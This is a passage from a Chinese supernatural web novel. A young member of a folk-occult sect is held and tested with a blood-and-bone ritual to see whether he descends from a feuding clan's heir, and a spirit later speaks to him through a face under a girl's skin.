小屋的屋门已经被关严了,苗大奶奶接过木盒以后,把里面的那截指骨取了出来,然后丢到了一个石臼里面。 紧接着,苗大奶奶就和捣药一样,用一个石头药杵在石臼里使劲的砸。这根指骨早已经是枯骨了,连着被砸了这么多下,随即就变成了细碎的渣滓。 苗大奶奶还是不停手,直到把渣滓都磨成了粉末。七爷一直都在默不作声的看,等苗大奶奶微微冲他点了点头,七爷亲自来到我身边,慢慢拿出了一把小刀。 “干什么!” “用一点你的血。”七爷不由分说,拿着一只很小的小瓷碗,在我的右手跟前晃了晃,说道:“给你放一点血,你有没有说谎,就一目了然了。” 我来不及再说什么,七爷的刀子在我指尖上划破一个小小的伤口,他捏着我的手指一挤,十来滴鲜血就落到了瓷碗里面。 七爷转身把瓷碗也交给了苗大奶奶,苗大奶奶接过瓷碗的时候,从外面隐隐传来了一阵嘈杂声。 嘈杂声来的很突然,而且很快就到了后院的附近,七爷起身打开小屋的屋门,已经有人飞快的跑过来报信。 “七爷,程白鹤带着人,硬闯进来了。” “他来的倒是时候。” 七爷皱了皱眉头,正打算招呼人到前面去堵着,程白鹤已经带着人硬闯到了后院这边。 程白鹤肯定是刚刚赶回平安集的,这两天时间里,小皮已经召集了十几个人,这些人在平安集也等的心烦,程白鹤一回来,众人就有了主心骨,一窝蜂似的拥了过来。 程白鹤一闯进来,七爷的人也急忙在平安集招揽人手,七爷迎了上去,皮笑肉不笑的跟程白鹤打了招呼,却挡在程白鹤的面前,说道:“老程,这么硬闯进来,是不给我留一点面子了。” “恐怕是你不给我留一点面子吧?人呢?先把人放了,有什么事,我们谈。” “人是不能放的,他犯了什么事,小皮没有告诉你?” “行了七爷,别跟我扯这些没用的。”程白鹤平时涵养很好,喜怒不形于色,但是七爷趁着他外出,就对我下了手,这事关程白鹤的名声和面子。 如今,平安集都已经知道这件事,很多人躲着看热闹,就想看看事情会如何收尾。程白鹤这时候绝对不会认怂,否则以后就不好混了。 “三大爷。”小皮在后面指了指,说道:“人就关在那间小屋里。” “七爷,你到底放人不放人?要是不放人,我只能自己去找他了。” “老程,我劝你别莽撞,这件事,你最好不要插手。” “你这是在吓唬我?” 这时候,七爷的人也涌到了后院里,至少有二三十个,程白鹤带的人虽然没有对方多,但都是吃了十几年江湖饭的汉子,群殴火拼,他们是不会害怕的。 “放人!”程白鹤没有耐心跟七爷再说那么多了,表情猛的变的极为冷峻。 这两个字,就好像是一声号令,他身后跟着的十几个人立刻散开了,有几个回身挡着七爷的人,剩下的就想硬冲到小屋这边。 “你们都不想活了?” 苗大奶奶站在七爷身后,冷冷的注视着众人,程白鹤他们自然知道苗大奶奶,要不是真有什么大事,谁也不愿意招惹这个难缠的女人。 然而,那么多双眼睛都在盯着,程白鹤也骑虎难下,如今只能硬着头皮硬扛。 “我虽不惹事,但也不怕事,七爷,咱们相安无事了几年,如今你要先坏了规矩,我拼了这张老脸,也奉陪到底!” 双方剑拔弩张,眼瞅着已经压制不住了,七爷猛的丢下手里的拐杖,直接架住程白鹤的手臂,阴沉沉的说道:“老程,我还是给你留着几分面子,这件事你不要管,自己走自己的,我不拦着。” “你说的都是笑话,从我铺子里抓走了人,我不管,以后还怎么在平安集立足?” “那你这意思,是非管不可了?” “你说呢?” “老程!有些人,你是惹不起的!” “没有什么惹得起惹不起,凡事都要讲个理字。” 七爷和程白鹤说话,别的人不敢插嘴,都在一旁等待,后院这里只剩下他们争执的声音。 就在这时候,突然有人慢悠悠的说道:“这世上,那有什么理字?程白鹤,你这一把年纪,都活在狗身上了吧。” 第190章 悟道牌 这个说话的人,是个女人,虽然说的慢条斯理,但言谈之中很不客气,似乎完全没有把程白鹤给放在眼里。 我被关在小屋里,只能从狭窄的门缝朝外面观察,暂时看不到说话的人在什么地方。 然而,这声音一落入耳中,就让我感觉熟悉,稍微一回想,我立刻就想起了这个说话的人,正是第二次把皮匠的尸体送到寿衣店的那个胖大娘。 时间间隔的不久,所以胖大娘的声音给我留下了比较深刻的印象。 一听到胖大娘的声音,我立刻反应了过来,针对我的这个局,一定有胖大娘参与。 小皮和我说过,胖大娘不是平安集的人,以前从来没有见过,所以,针对我的这个圈套,就要七爷出面才合适一些。 “谁!?” 程白鹤听着声音,猛然一转头,很快,胖大娘的身影就出现在了视线中。 她还是上次的那个老样子,身宽体胖,看起来慈眉善目的,好像人畜无害。 然而,当胖大娘从人群后面慢慢走出来的时候,整个人却突然像是变成了一把出鞘的利剑。 任谁都想象不到,这个身宽体胖的胖大娘,竟然隐藏的这么深。 但是,我心里还是有疑惑的,胖大娘就算真的是个高手,程白鹤却也不是泛泛之辈,论年龄,程白鹤肯定比胖大娘要大一些。 胖大娘这么托大,我就怀疑她是不是还留着别的后手。 “你是什么人?” “我是什么人,你该知道的时候,自然会知道。现在就一句话,这件事你不要插手。” “难怪七爷今天这么横,原来是请了帮手。”程白鹤肯定不会因为胖大娘三两句话就打退堂鼓,此时此刻,程白鹤的涵养再好,也有些急躁了:“既然请了帮手,又不肯放人,那咱们就比划比划吧。” “我没有时间跟你说废话,你是万花门的,万花门又出自白八门,白八门的人,现在都是这么不知天高地厚吗?” “你的口气,未免太大了。” 程白鹤不仅急躁,而且恼火,这个胖大娘也不知道什么来历,开口就把整个白八门给隐隐羞辱了。要知道,现在的白八门虽然远不及过去那么有势力了,但人数还是不算少的。 更重要的是,白八门的人平时一直都跟死人和神神鬼鬼的玩意儿打交道,一般混江湖的也不愿意招惹这样的人。 “姓程的,这边有要紧事,我不想和你啰嗦,你现在出去。” “这件事既然没商量!那就不商量了!” 胖大娘的话,彻底把程白鹤惹怒了,他也害怕一直在这里拖延,夜长梦多,也不管胖大娘是什么来历,猛的一挥手,自己带头就朝小屋这边冲来。 就在众人将要动手的那一瞬间,胖大娘抬起了一只手,她的手里,应该是有什么东西,胖大娘的手举到程白鹤面前时,程白鹤一下子就顿住了。 “这……” “这东西,你不会不认得吧?”胖大娘冷哼了一声,说道:“看仔细了,是真的还是假的,你是白八门的人,会不认得这个?” 程白鹤的两只眼睛睁的很圆,盯着胖大娘手里的东西,似乎颇为震惊。 我看不到胖大娘手里是什么,但从程白鹤的目光里,我觉得他应该是被震慑了,双手轻轻抖了一下。 “程白鹤,你这个岁数的人,当年应该是在这东西面前磕过头的,既然磕了头,又发了誓,自己能不认账吗?” “我……” 程白鹤一下子有点说不出话了,刚才的急躁和愤怒,一瞬间消失的无影无踪,站在胖大娘面前,神情踌躇,看看胖大娘,又看看胖大娘手中的东西。 “你叫你的人,先退出去,人多嘴杂,说话也不方便。”胖大娘对程白鹤说了一句,跟着又微微转过头,对身后的七爷说道:“叫你的人也退出去吧,有我在这儿,谁也翻不了天。” 七爷很听话,随即就挥了挥手,示意自己的人退出去。此时此刻,程白鹤似乎也没主意了,犹豫了半天,最后一狠心,回头让小皮把人都带出去。 乱七八糟的人都走了,只剩下程白鹤还有七爷他们。这时候,胖大娘一直举着的手终于放了下来。 借着这个机会,我看了一眼,胖大娘的手里,是一块发黑的牌子,牌子不知道是什么材质的,只不过时间太久了,已经蒙上了厚厚一层包浆。 牌子上面,好像是一个人,盘坐在石头上,具体的情形,我看的不是很清楚,只是觉得这块牌子,和师傅以前说的一件东西很相似。 我们白八门的祖师爷,据说当年是尸解成仙了,没有留下尸体,只有随身的衣服,还有物品。这些衣服和小物件,被葬入了衣冠冢,只有一块牌子留了下来。 那是祖师爷晚年的时候亲手雕刻的一块墨玉牌,牌子上的人就是他自己。 相传,这是祖师爷回首往事,想起自己一路修行的感悟和心境,雕刻的一件纪念品,在祖师爷死去之后,这块牌子就被白八门的人称为悟道牌。 关于悟道牌的传说,也有很多,不少人都相信,这块牌子里,有祖师爷不灭的灵念,所以,这块牌子就成为了白八门里面至高无上的圣物,在之后的一两百年时间里,悟道牌就是一块令牌,看到令牌的门人,莫敢不从。 随着时间的推移,白八门内部发生了很大的变化,悟道牌一直掌握在祖师爷的后裔手里,有些时候,祖师爷的后裔郭家势力大,悟道牌就有用,势力不大,悟道牌就没用。 反正我师傅从小到大,只听过悟道牌的传闻,还没有亲眼目睹过悟道牌。 而这东西出现在胖大娘的手里,难道就意味着,胖大娘是郭家的人? 程白鹤亲口说过,郭家当年的嫡系后裔,因为和白八门有了矛盾,最后形成了邪神庙。胖大娘既然有悟道牌,那就肯定是郭家的人。 邪神庙和白八门当年斗的那么凶,不太可能胖大娘拿出悟道牌,就把程白鹤给震慑住了。 情况愈发的复杂,我左思右想,都没想出个所以然。 第191章 真实动机 这一块悟道牌,已经彻底震慑了程白鹤。我不太清楚其中的细节,但有一点可以确认,程白鹤这种老辈人,比现在的人要讲规矩,守诚信,如果当年真的是磕过头发过誓的,一般情况下,他不会违背。 不过,要是情况特殊,触及到程白鹤的核心利益的话,程白鹤也不会坐以待毙。毕竟,这世上最脆弱的东西就是盟誓。 但程白鹤此时的举动,已经无疑说明,他不仅仅是被震慑了,而且,明显还有一种惧怕。 这个胖大娘,或者说胖大娘所代表的势力,是程白鹤无法抗衡的。 程白鹤被震慑了,果然没有再轻举妄动,胖大娘似乎也不想真正和程白鹤为难,说道:“你是白八门的人,就在这里等着吧,事情没办完之前,你先不要出去。” “那个孩子,他到底是怎么了?” “程白鹤,当年白水湖火拼,你也是当事者之一,如今你上了岁数,怎么越来越糊涂了?”胖大娘虽然露面之后,一副高高在上的姿态,可是此刻也不由的压低了声音,说道:“你难道忘记了郭宁?” “郭宁……他不是……他不是很多年都没有出现了?” “你觉得他没有出现,只是他没直接去找你的麻烦而已。你以为白水湖死了那么多邪神庙的人,郭宁也掉了四根手指,他会完全忘记这份深仇大恨?” 他们两个的对话,我都能听个大概,郭宁这个名字,我以前没有听说过,但是胖大娘话里的意思已经再明显不过了。郭宁,就是当年在白水湖被砍掉了四根手指的那个少年。 “郭宁他……他要怎么样,也跟屋里那孩子没什么关系吧?为什么……”程白鹤虽然不敢跟胖大娘来硬的了,却还是在替我说话。 “你这个脑子,怎么这么不管用?这小子在你的寿衣店住了那么久,你一点异样都没察觉出来?前些日子,邪神庙的人半夜跑到平安集这里来了,闹的鸡飞狗跳的,你以为,邪神庙的人是为了谁而来的?” 我一下子就明白了过来,邪神庙的老杂毛当时肯定是冲着我来的,但是没能找到我。 只不过,那个老杂毛的动机,却已经泄露了。七爷当时跟老杂毛动过手,而且吃了亏,按道理说,七爷不会就这么善罢甘休,明面上不说什么,暗地里肯定要查。 查来查去,最后就查到了我身上。我心里后悔莫及,当时觉得老杂毛一去不回,这件事就过去了,没想到,胖大娘和七爷其实一直都在暗中盯着我。 只不过,我还是一头雾水,不明就里。我和郭宁到底有什么关系吗?他们怎么会因为郭宁而找上我? “屋里那孩子,也是白八门的,但他跟郭家,没什么关系,他姓张,是白杠子那一脉的。” “要是没什么关系,他身上,怎么会有郭宁的烙印?我说你没脑子,你心里肯定不服气,平安集那个皮匠,死了以后被送到你的寿衣店两次,就是害怕皮匠的尸眼看不清楚,这个小子的心里,有郭宁的烙印,你不明白是什么意思?” “他有郭宁的烙印,那……那……”程白鹤顿时一愣:“那他是郭宁的后人?是郭宁的儿子?这……这不太可能吧……” “我只相信自己的眼睛,不相信别人怎么说,好了,不要啰嗦了,孰是孰非,一会儿就能见真章。” 此时此刻,程白鹤也没有任何办法了,他想凑到屋门前看一眼,但是七爷和苗大奶奶都拦住了他。 “老程,话都说的很清楚了,你在这里等着就行。” “想不到,我是真正想不到……”程白鹤瞥了七爷一眼,说道:“鬼眼老七,那在平安集这里算是一等一的人物,你不是白八门的人,也不是郭家的人,最后竟然……呵呵,我是真的没有想到。” 七爷面子上有些挂不住,只能咳嗽了两声,掩饰过去。按照七爷这个身份的人,其实是不需要攀附别人的,可如今的情况明摆着,七爷肯定是跟着胖大娘做事的。 胖大娘站在屋门外,头也不回的说道:“抓紧时间吧,这小子的身份,应该是铁板钉钉了,现在就是要查验清楚,把事情坐实。” 苗大奶奶应了一声,跨步走到小屋里面,那根指骨磨成的粉,还有我刚刚流出来的血,都已经在地上摆着了。 一直到这一刻,我才真正明白,他们认定了我留着什么烙印,就是那个叫做郭宁的人的儿子,一截骨头,还有几滴血,足够让苗大奶奶这样的高手判断郭宁和我究竟有没有血缘关系。 对方的目的是清晰了,只是想弄清楚我是不是郭宁的儿子,一开始,我心里是不虚的,因为我从小生活在什么地方,我的父母是什么人,我多少还有那么一点印象,不管他们怎么查,都不可能查出我和郭宁之间的血缘。 紧跟着,我却突然出现了一种恐慌。如果平白无故的,胖大娘不可能直接针对我,既然他们花了这么大的时间和精力,就是有了很大的把握,才会把我给弄起来。 我脑海中顿时又浮现出了那个掉了四根手指的人,他的影子,一直在我内心深处隐藏着,如果不是这一次的机缘巧合,或许我还要一直被蒙在鼓里。 这个世界上,不可能有无缘无故的事情,既然郭宁的影子留在我心里,那其中必然就有原因。 到底是什么原因? 在这短短的半分钟时间里,我又回忆起了很多很多,我出生在乡下的村子里,父母过世以后,师傅就把我给带走了,一直到今天为止。 我没有在别的地方长期生活过,接触过的人,我基本都有印象,我实在回想不起来,自己和这个郭宁,会有怎么样的瓜葛。 难道,这里面真的有什么不为人知的隐情吗? 如果真的是那样的话,我就会下场难料,胖大娘应该不会轻易放过我。 第192章 毫无关联 我没有任何办法,只能眼睁睁看着苗大奶奶在那边忙活。 刚才我放出来的那点血,滴在小瓷碗里,苗大奶奶拿出一张纸,随便折叠了几下,点燃之后就丢到了碗中。 轻飘飘的一张纸,燃烧的却特别猛烈,瓷碗里的血被烧的滋滋作响,过了两分钟,血被烧干了,纸也只剩下一团灰烬。 苗大奶奶把瓷碗拿到一旁,自己嘀嘀咕咕的小声说话,我听不清楚她说的是什么。 看着看着,我就觉得心里膈应的慌,苗大奶奶看样子像是冲着那只瓷碗在说话,但肯定不是。 那只瓷碗旁边,好像有什么我看不见的东西,因为瓷碗里剩下的那些染了血的纸灰,越来越少,就仿佛被什么东西给缓缓的吞噬了。 虽然小屋里光线很暗,但我还是能确定,瓷碗里的纸灰的确是在莫名其妙的消失,直到最后,碗里的血和纸灰全都不在了,消失的干干净净。 苗大奶奶把瓷碗放到一旁,嘴里嘀咕了一句,紧接着,我就感觉有什么东西,正在朝我靠近。 虽然我看不见什么,但就是因为以前和尸体之类的东西接触的比较多,所以对阴气比较敏感。我的感应可能是正确的,那团东西无形无质,而且,这玩意儿所携带的阴气很浓重,被刻意的掩饰了,如果是个普通人,肯定察觉不出什么,只是对我来说,这些阴气足够让我产生警惕了。 很短时间里,那股阴气浓重的东西就已经到了我的身边,我感应的很清晰,可是手脚都被绑着,不能挣扎。 骤然间,我的肚子猛然一凉,就好像有人朝我的衣服里塞了一大团冰。 肚子上凉了一下之后,凉飕飕的的感觉就在缓缓的蔓延,我不可能感应错误,这的确是强烈的阴气接触到皮肤之后所产生的效应。 苗大奶奶是从西南山区来的,那边盛行的巫蛊,和内地有很大的区别,苗大奶奶以前就很善于养小鬼,有人托她办什么脏事,苗大奶奶为了赚钱,很多时候都是放小鬼出去害人的。 我不敢确定,但大概情况应该不会有错,苗大奶奶放了小鬼,小鬼已经爬到我的身上来了。 我感觉很难受,但是这时候认怂也不可能有什么用,而且,我愈发的心慌了,因为我猛然间有了一个很奇怪的念头。 我和那个叫郭宁的人,是不是真的有什么关系? 我来不及再有别的什么想法,苗大奶奶猛的站了起来,捏着一撮骨头碾碎的粉末,迎头撒了过来。 飘飘洒洒的骨头粉末在身前身后飞扬,又缓缓的落下,我以前没有见识过这种手法,也分不清楚苗大奶奶是靠什么来确定,我和那个叫郭宁的人有没有血缘关系。骨头粉末和灰尘一样,当粉末落到我身上的时候,我能感受到身上那股森森的阴气,似乎在急速的游动。 小屋里没有风,骨头粉末很快就完全飘落了下来,这时候,苗大奶奶的眼睛不由自主睁大了,急忙又捏了一撮粉末,撒了过来。 这一次和上一次一样,粉末没有什么异常的反应,正常的飘洒,正常的落地。 苗大奶奶生怕自己看的不准,跟着又撒了一撮,前后三次,骨头粉末依旧如此。 苗大奶奶似乎有一点为难,转头看了看胖大娘,轻轻摇了摇头。 “你弄准了吗?” “这是我们寨子里祖传的骨血相融,什么都可能错,唯独这个错不了。” “这件事很要紧,你仔细些,不能出错。” “真的不会有错。”苗大奶奶瞥了我一眼,说道:“我试了三次了,这个人,肯定不是郭宁的后代。” 胖大娘的脸色一下子变的有些复杂,她本来已经确定,我和郭宁有血缘关系,但苗大奶奶信誓旦旦的做了担保,等于完全打乱了胖大娘的猜想。 小屋里鸦雀无声,过了好一会儿,胖大娘才缓了口气,走到跟前,又上下打量了我一眼。 “小子,你认得郭宁吗?” “我真不认识!”我被绑了这么久,心里早就窝火了,这时候又被验证没有嫌疑,和郭宁也没什么关系,底气立刻足了些:“我就是白八门的,不认识什么郭宁!” 胖大娘在观察我,应该是猜测我有没有说谎。这时候我心里就没那么慌了,苗大奶奶刚才已经试了三次,我相信她不会失手。 也就是说,我和那个郭宁,没有什么血缘关系。至于我为什么会记得这个人,就不得而知了。 “不认识就不认识吧。”胖大娘伸手把我身上的绳子解开,说道:“你也别记恨我,有的事情,的确是要弄清楚,既然你跟郭宁没什么关系,我也不会为难你。” 我瞪了苗大奶奶一眼,把身上的绳子扔到地上。 “这件事,你不要再对别人说了,记住了没有?” “跟我没关系的事,我才不会到处乱说。” “那就好。” 胖大娘把我从小屋里带了出来,这一次,她的神情和语气就缓和了许多,对程白鹤说道:“是个误会,和孩子不是郭宁的种。” “我先前就说了,他是有根有底的人,怎么……怎么会是郭宁的后代?” “这件事就这么算了,程白鹤,你带他走吧,但有一样,这事情不要再提。” 程白鹤在胖大娘这里受了点气,估计也不想跟对方多说什么,带着我转身就走。 门外聚着一大帮人,有程白鹤的兄弟,也有七爷的手下。其余的,都是看热闹的。 我和程白鹤这边刚刚出门,七爷也跟了出来,站在台阶上,轻轻咳嗽了一声,跟着就大声说道:“事情查清楚了,二傻子不是这个小子弄死的,凶手另有他人。二傻子不会白死,事情我还会派人接着查!告诉你们,不要背后乱嚼舌头说三道四的,要是被我知道,你们自己掂量!” 七爷这番话,算是替我正了名,看热闹的那帮人一看两边打不起来了,也就纷纷散去。 我们回到程白鹤的铺子,程一是个姑娘,刚才不方便露面,这时候一直在焦灼的等待,看着我们平安归来,她才算松了口气。 “程大爷,这次真的给你添麻烦了。”我只觉得有点难为情,对程白鹤说道:“我原本就打算离开平安集的,等下我收拾收拾东西,连夜就走。” 第193章 继续滞留 我一说要走,程一和小皮就在劝我。这件事的前后经过,小皮是知道的,我在平安集的这些日子,跟小皮玩的好,他肯定也不想让我走。 “现在不是没事了么?那个胖大娘也说了,是个误会。” “是个误会,但我也不能老是呆在这儿。” “呆在这儿有啥不好的吗?”程一也顺着小皮的话说道:“你的伤痊愈了么?就急着走。” “应该已经没啥问题了。” “伤要是痊愈了,那更好。”程一悄悄看了程白鹤一眼,冲我挤了挤眼睛,小声说道:“邪神庙的事,咱们还没弄清楚呢,如今你的伤也好了,咱们也该放开手脚大干一场。” 我们三个人说话的时候,程白鹤就在一旁低着头思索,十多分钟都一言不发。 “好了,你们先不要说了。”程白鹤应该是把该琢磨的事情琢磨清楚了,走过来,皱着眉头望向小皮:“这些天你也玩疯了吧,从今天开始,你就老老实实的守着铺子,晚上在铺子打地铺睡觉。” “知道了,三大爷……” 小皮一缩脖子,跑到铺子那边去了,程白鹤还是皱着眉头,又转脸看了看程一。 “你母亲身体不好,你多照看照看,去吧。” 程一也走了,就剩下我和程白鹤。其实,我有些事情想要问他,当时程白鹤跟我讲白水湖火拼的往事,只讲了个大概,至于后面的事情,他没有提过。 毕竟,我不是程家的人,而且我师傅还跟程白鹤有过节,程白鹤能跟我说这么多,已经不错了。 “程大爷……” “你现在不宜马上离开平安集,你知道吗?” “程大爷,那个胖大娘不是说了,这件事算是了结了,我也不想留在这里给你惹麻烦。” “那个胖女人,再加上鬼眼老七,都是人精,他们认定了一件事,即便有了结果,也不会那么轻易的就确定。” “程大爷,你的意思是,他们还会盯着我?” “至少还得再盯你一段时间的,你本来心里没什么,安安心心继续住下去,他们或许还不会怀疑。你要是马上就走,对方肯定会起疑心。为了保险起见,还是再等一等吧。” “程大爷,你说的有道理。还有,那个胖大娘,是什么来历?白水湖火拼里,那个掉了四根手指头的人,就叫郭宁么?” “有的事情,知道了不如不知道,要是不知道,会少很多麻烦,知道的越多,麻烦也就越多。” 程白鹤或许是不想让我再惹麻烦,也可能他自己不愿意多生事端,所以就没跟我说那么多,只是让我暂时继续住在平安集,等到这件事情彻底结束的时候,再离开也不迟。 我的心里,的确有一点不踏实,虽然苗大奶奶没能从我身上找到和郭宁有血缘的证据,可这件无缘无故的事情,却总是透着一股让人难以揣度的诡异。 这一次,我是真的不敢随便再乱朝外面跑了,程白鹤暗中派人在平安集来回的巡视,一直到晚上为止,暂时没有发现什么异常的动向,七爷还有苗大奶奶,包括胖大娘在内,始终没露面。 提心吊胆的过了一夜,到了第二天,我还是在铺子的后院没有出去,小皮老老实实的守着铺子,只有程一抽时间过来跟我聊天解闷。 我其实很想知道当年白水湖火拼之后所发生的事情,但是程白鹤不肯说,程一自己不知道。 “这件事啊,先别急,刚刚出过事,现在我去找我爹问,他肯定不会说,耐着性子等等,等到风头过了以后,再找机会问她。” “风头过了,不知道要到什么时候了。” “风头不过,那你就一直在这儿住着呗,正好给我做个伴。” 我和程一聊了大半天,到了晚上吃饭的时候,程一专门过来和我一起吃。我虽然以前和女人接触的很少,可我不是傻子,我看得出来,程一对我的关心,是发自肺腑的。 不知道为什么,我突然就想起上次要替她包扎伤口的那一幕情景,想着想着,自己的脸就先红了。 晚饭过后,我们在院子里转了一会儿,十点多钟就各自回去休息了,小皮不敢违抗程白鹤的话,在前面的铺子里打地铺睡觉,我一个人躺在屋里,翻来覆去的睡不着。 我的预感不是太好,之前遇到的那些乱七八糟的事情,在加上这一次的遭遇,已经让我深刻的意识到,自己已经被深深卷到这个事件里来了。 可我始终都想不明白,我只是个乡下人的儿子,机缘巧合之下才跟着师傅进入了白八门,为什么这些怪事会摊到我头上? 想来想去,脑子就又想乱了,而且,脑子一乱,就让我感觉很不舒服,现在毫无头绪,只能走一步看一步。我干脆就拿被子蒙着脑袋,想要酝酿一点睡意。 我来来回回折腾了能有两三个小时,一直到晚上一点钟的时候,还是没睡着,天已经凉了,尤其入夜之后,窗户外面的风吹进来,冷飕飕的,我起身把窗户关好,这边刚一转身,就看到屋门被人从外面给推开了。 我一看,进来的是程一,她好像刚刚睡了一觉,头发有点凌乱,睡眼惺忪的。 “你怎么睡到一半又起来了?” “有点话,想和你说。” “有啥话,明天再说也不迟啊,外面风大,你赶紧进来吧。” 我让程一进了屋,她站在我面前,低着头,似乎在考虑怎么开口。 我觉得有点不对,程一是什么性格,我很清楚,她要是真有什么话,不会这么扭扭捏捏的。 “程一,到底怎么了?你想说什么?” “我……我不知道怎么开口……” “没事,不管有什么事,你只管说就行了。” “那我……” “说吧,不要紧。” 程一点了点头,然后慢慢的转过身,背对着我,我不知道她要搞什么,还没来得及说话,程一突然一伸手,就把自己的上衣给脱掉了。 尽管程一背对着我,但我能看得出来,她的外衣里面,什么都没穿。 第194章 一张脸 程一此时的举动,让我瞠目结舌,紧跟着就是一阵剧烈的心跳。 这些天接二连三的发生怪事,尤其是七爷他们把二傻子的死硬栽赃在我身上,让我有点杯弓蛇影,总觉得事情要是反常,一定有坑。 而且,程白鹤也说了,七爷和胖大娘他们,应该不会轻易的就打消对我的怀疑。 因为我和程一之前在邪神庙同生共死的经历,等来到平安集以后,她对我非常照顾,我们平时聊天也多,彼此说了很多心里话。 我不懂什么是两情相悦,但也知道,程一对我,跟对别的人不一样。 然而,凡事都会有个限度,尤其是程一这样的女孩子,她绝不可能做出这种事。 “程一,你干什么……” 程一不说话,双手慢慢放了下来,整件外衣随之落地,她虽然背对着我,可是上身什么都没穿,我就觉得自己的眼睛好像被针扎了一样,急忙把头转到了一旁。 “程一!你别这样!我……” 我现在就害怕有人突然出现,真要是那样的话,我又会陷入到浑身是嘴都说不清楚的境地里。 程一还是没有回答,但是,周围静悄悄的,听不到别的声音。程白鹤不是普通人,别人要是真想跑到他家里动手脚,也没那么容易。 就这样过了两三分钟,一点声响都没有,我心里就一个劲儿的发虚。 程一始终不回话,我真担心有什么问题,慢慢的转了转头,用余光瞥了一眼。 程一还是站在原来的位置上,一动不动,我仍然觉得眼前的情景辣眼睛,刚要收回目光,突然就发现,程一后背的皮肤,似乎在轻轻的耸动。 程一很年轻,而且身段苗条,皮肤紧致的话,耸动就不是那么明显,我察觉到不对劲,也顾不上那么多了,立刻把目光全都凝聚了过去。 果然,在这样细致的观察下,我发现程一后背的皮肤下面,好像有什么东西正在缓缓的蠕动。皮肤下面的东西一动,就让皮肤时不时的鼓起一条一条印记。 很快,她皮肤下面的东西似乎动的更快了,我真的搞不懂这是怎么回事,就是觉得情况很棘手,而且觉得程一是不是陷入了危险的境地。 我一弯腰,从地上把程一的衣服捡了起来,想先给她披上。就这么电光火石的一瞬间,她后背皮肤上鼓起的印记,突然全都凝缩到了一团。 这些印记凝聚到一起,随即又朝四周一阵扩散,仿佛是一朵急速绽放的花,我还没有来得及把衣服给她披在身上,陡然间就发现,这些凝聚又扩散的印记,竟然变成了一张模糊的脸。 她后背上的这张“脸”,只是一个不太清晰的轮廓,不可能分辨的太清楚。 我心里不由自主的弥漫着一种难言的惊恐,这样的情况,以前没有遇到过,尤其又在此时发生,我真的不知道该怎么应对。 这到底是什么东西?我的脑子里瞬间就闪过了无数的念头,程一本人没有什么毛病,这肯定不是她的原因。 是苗大奶奶他们,又耍了什么花招,在程一身上做了手脚? 在我惊悚之中,程一背后的那张脸,渐渐的清晰了一些,甚至还能看到眼睛鼻子嘴巴。 更要命的是,这张脸的眼睛,似乎睁开了,就好像有一个人,薄的和纸片一样,钻到了程一的皮肤下面。 我不知道这是怎么回事,更不知道会产生什么样的后果,要是一直这样拖延着,谁都不敢保证程一的安全。 我硬着头皮准备转身离开,不管怎么样,先把程白鹤喊过来,他的经验丰富一些,手段也多一些。现在的状况太尴尬了,可是我真的害怕程一会有什么事。 “别……别紧张……我不是来害你的……” 我这边刚要转身破门而出,陡然间,程一背后那张脸,似乎动了动嘴巴,一道很轻的声音,就飘散在了小屋里。 这声音虽然轻,却能清楚的听到,声音有点尖,听着像是个女人。 “你是什么人!想干什么!” “没什么,跟你聊聊……” “你先放过她,有什么话,直接出来,咱们面对面的说。” “你还真是个重情义的人啊,你放心好了,我不会把这个姑娘怎么样,只是眼下的情况有些特殊,我只能这样跟你聊。” 这道声音又一次传出来的时候,我的心里就产生了一点别的想法。 我觉得,应该不是胖大娘他们对程一下的手,如今的平安集,除了他们之外,估计还有别的人也在暗中关注着我。 这几天时间里,胖大娘他们虽然不会直接闯到程白鹤家里,但肯定要派人严防死守,紧密注视我的所有动态。如果这时候有人来找我的话,多半是会被胖大娘他们发现的。 所以,这个人只能用这种极为隐秘的方式,半夜三更的悄悄来传话。 对方做的事情虽然很隐秘,但用意其实是摆在明面上的,直接说了要跟我聊聊,没有做什么见不得光的勾当,因此,我就判断这个人最起码现在没恶意。 一想到这里,我就镇定了一些。 “你要聊什么?” “我猜,你现在肯定很想知道一些事情,恰好,我也知道一些事情,咱们不妨就聊聊这个。” “你倒是很懂我。” “不。”这张脸突然就变的很郑重,认真的说道:“我不懂你,要是真的懂,也就不用聊这些了。” “我不明白你的意思。” “明白也好,不明白也罢,我说的话你只要想听,咱们就聊,你要是不想听,我立刻就走。” “你要说什么我都不清楚,怎么能知道想听不想听。” “你应该会想的,比如,那个叫郭宁的人。” 就从七爷把我抓起来那件事之后,郭宁这个名字,对我仿佛就有了很大的吸引力。关于郭宁的那些事情,程白鹤或许是不知道,或许是不肯说,反正眼下我能掌握的信息太匮乏了。 程一背后的那张脸,似乎把我的心思洞察的非常清楚,对方要聊的这个话题,我真的无法拒绝。 第195章 隐秘内情 我紧张的思考了一下,暂时察觉不到对方的敌意,那现在能获取一些信息,自然是好的。 我没有再犹豫,说道:“那个叫郭宁的人,他是什么来历?” “这事情,要说起来的话,会牵扯很多,三句两句说不清楚的。” “没关系,我有的是时间,只不过……” 我顿了顿,程一就这样站在我的屋里,上身什么也没穿,就算没有别的人看见,可我自己都觉得不合适。 我拿着衣服,给程一反穿了一下,又用我自己的外衣系到她的腰上,这么一来,就只剩下背后的那张脸露在外头。 “你还真是个贴心人啊。” “别说这些没用的了,说正经事吧。” “那个叫郭宁的人,是郭家的后裔,而且是嫡系。” “我知道,当年白水湖火拼,死了十来个邪神庙的人,只有郭宁逃走了。” “没错,只不过,那个非要验证你和郭宁有没有血缘关系的胖女人的来历,你知道吗?” “我不知道。” “那个也是郭家的人,叫郭青秀。” “她是郭家的人,也是邪神庙的?” “是郭家的,但她不是邪神庙的人,相反,她和邪神庙有仇,这件事,要扯到很久以前了。” 白八门和郭家的关系,一直都比较微妙,最早的时候,是郭家的嫡系和白八门产生矛盾,双方争斗的多了,仇恨越来越深,最后,这些嫡系就自己形成了邪神庙。 与此同时,原本在郭家并不占据主导地位的一些旁系,趁机崛起。郭家的嫡系和白八门斗的很激烈,无暇顾及太多,旁系就趁着这些机会,弄走了一些东西,同时还暗中和白八门的人串连,协助打击郭家的嫡系。 这些旁系就是为了彻底的灭杀 郭家的嫡系,然后取而代之。 后来,在几方势力的联合打压下,郭家嫡系渐渐势衰,不得不到处隐藏行踪,避免被一锅端。 这时候,郭家的旁支渐渐上位,以正统自居,不过,他们是怎么上位的,很多人心知肚明,白八门的人需要他们联手的时候,两边还能和睦相处,等事情过去,其实也没有几个白八门的人会真把郭家的旁支给放在眼里。 这是旁支所不能忍受的,他们虽然是旁支,毕竟是郭家的后裔,尤其是从嫡系的手里抢走了一些东西,实力大增。 